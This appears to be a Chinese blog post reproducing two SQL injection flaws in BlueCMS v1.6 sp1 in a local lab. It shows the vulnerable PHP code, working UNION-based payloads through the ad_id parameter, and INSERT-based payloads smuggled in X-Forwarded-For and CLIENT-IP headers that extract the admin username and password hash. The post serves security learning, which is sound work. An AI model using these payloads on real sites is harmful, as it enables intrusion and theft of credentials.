• 代码审计之SQL注入:BlueCMSv1.6 sp1


    Preface


    这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过。

    参看视频:BlueCMS 1.6 SQL 注入漏洞


    工具及环境

    环境搭建

      关于环境搭建,简单说几句。可以使用phpstudy这款集成化工具,可以很方便的使用和切换环境,安装好之后直接将下载好的bluecms的源码放到安装的路径下即可,如:C:phpStudyWWW。

      也即把luecms_v1.6_sp1uploads目录下的文件放到C:phpStudyWWW目录下,因为我的C:phpStudyWWW目录下还有其他文件,就直接把解压后的bluecms_v1.6_sp1放在C:phpStudyWWW目录下了。在我这的路径是这样的:C:phpStudyWWWluecms_v1.6_sp1uploads。

    安装

      访问本地:http://localhost/bluecms_v1.6_sp1/, 能看到项目文件。

     

      访问地址:http://localhost/bluecms_v1.6_sp1/uploads/install/ 就会进入到安装界面。

      环境检测:

      参数配置:

      这里唯一需要注意的就是数据库的密码要对上。

      再访问:http://localhost/bluecms_v1.6_sp1/uploads/,可以看到已经安装好了。

       关于环境搭建的部分就讲这些吧。

    注入一

    审计

      用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点,如第一个,在文件:/uploads/ad_js.php  

      选中该可能的注入点,右键单击打开文件,就能直接定位到该条语句了,内容如下:

    $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

      getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发现在:/uploads/include/mysql.class.php文件中,双击直接可定位到在文件中的位置)

      该函数的代码如下:

    function getone($sql, $type=MYSQL_ASSOC){
            $query = $this->query($sql,$this->linkid);
            $row = mysql_fetch_array($query, $type);
            return $row;
        }  

      主要是插入到数据库查询语句中的$ad_id没有经过任何的过滤,因而导致了SQL注入。从代码中可以看出:

    利用

    先查下有多少列

    ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

      查询1...6列和8...列会显示出错信息,而查询7列时页面是空白的,此时查看源码,如红框中所示,可以看到第7列会回显,因此我们可以构造第7列的数据来回显我们想要的内容。

      查询下数据库信息:

    ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
    ad_js.php?ad_id=1 union select 1,2,3,4,5,6,@@basedir

      

      数据库名称是bluecms,路径如上所示。

    提取数据

      利用元数据表爆出表名

    ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

    爆字段

      查看下blue_admin表中有哪些字段:

      这里需要将表名转换为16进制:16进制到文本字符串的转换

    ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

    获取用户名密码

    ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

      是用MD5值,其值为admin:

    注入二

    审计

      再查看Seay发现的可疑注入点,在文件/uploads/include/common.fun.php中:

      $ip变量的值从环境变量中获得,具体代码如下:(可右键点击查看相应文件内容)

    function getip()
    {
        if (getenv('HTTP_CLIENT_IP'))
        {
            $ip = getenv('HTTP_CLIENT_IP'); 
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) 
        { 
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) 
        { 
            $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR'))
        {
            $ip = getenv('HTTP_FORWARDED_FOR'); 
        }
        elseif (getenv('HTTP_FORWARDED'))
        {
            $ip = getenv('HTTP_FORWARDED');
        }
        else
        { 
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }

      $ip的值可能是从HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等变量中获得;

      全局搜索一下使用到这个函数的地方一共有2处,中间那个是函数定义:

      我们查看一下第一个文件:(代码113行,这是一个负责文章评论的代码文件)

      我们可以看到,通过函数getip()获取到的$ip变量的值,直接插入到了SQL语句中,接着就执行了。由此可以看出,这里是存在SQL注入的。

    文章发表

      从上面的页面(/uploads/comment.php)可以推断出,SQL注入出现在对文章进行评论的地方,因为之前在发表文章时出现点问题,现将解决的小trick分享给大家:

      首先,需要先注册一个用户,登陆之后进入到个人资料,有个文章分类,但是我在创建分类的时候老是出现问题,如右所示:

      而且通过管理员登陆也不能创建分类,甚是无奈,只能通过修改代码解决:

      我们找到发表文章的页面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。

      好,那现在我们创建一篇文章,随意填写写内容即可:(步骤:进入个人中心->本地新闻->发布新闻)

      回到主页:

      查看下我们刚发布的文章,如下所示:

    利用 

      我们回看下那段SQL语句:(隔得有点远)

    $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
                 VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
         $db->query($sql);

      可以看到,一共有9个参数,而insert语句可以一次插入多条数据,只要们在构造$ip的内容时,闭合掉前面的部分,使之变成完整的语句即可。

    X-Forwarded-For

      通过X-Forwarded-For构造如下:

    X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

      在POST数据包头部添加X-Forwarded-For字段,内容如上: 

      通过查看网页源代码的方式,我们可以看到admin用户密码的hash值:(其值为admin)

    CLIENT-IP

      通过CLIENT-IP构造如下:

    CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1

      POST数据包:

      可以看到admin密码的hash值直接显示到了页面上:(时间错乱了,请忽略)

       到此,就这样。(不清晰的图片可右键查看)

  • 相关阅读:
    2020.8月总结
    fps逆向总结
    fps人物基址的寻找
    python学习_012
    python学习_011
    python学习_010
    python学习_009
    python学习_008
    pytorch DataLoader模块的使用
    python 继承类的初始化用法
  • 原文地址:https://www.cnblogs.com/Hi-blog/p/7990894.html
Copyright © 2020-2023  润新知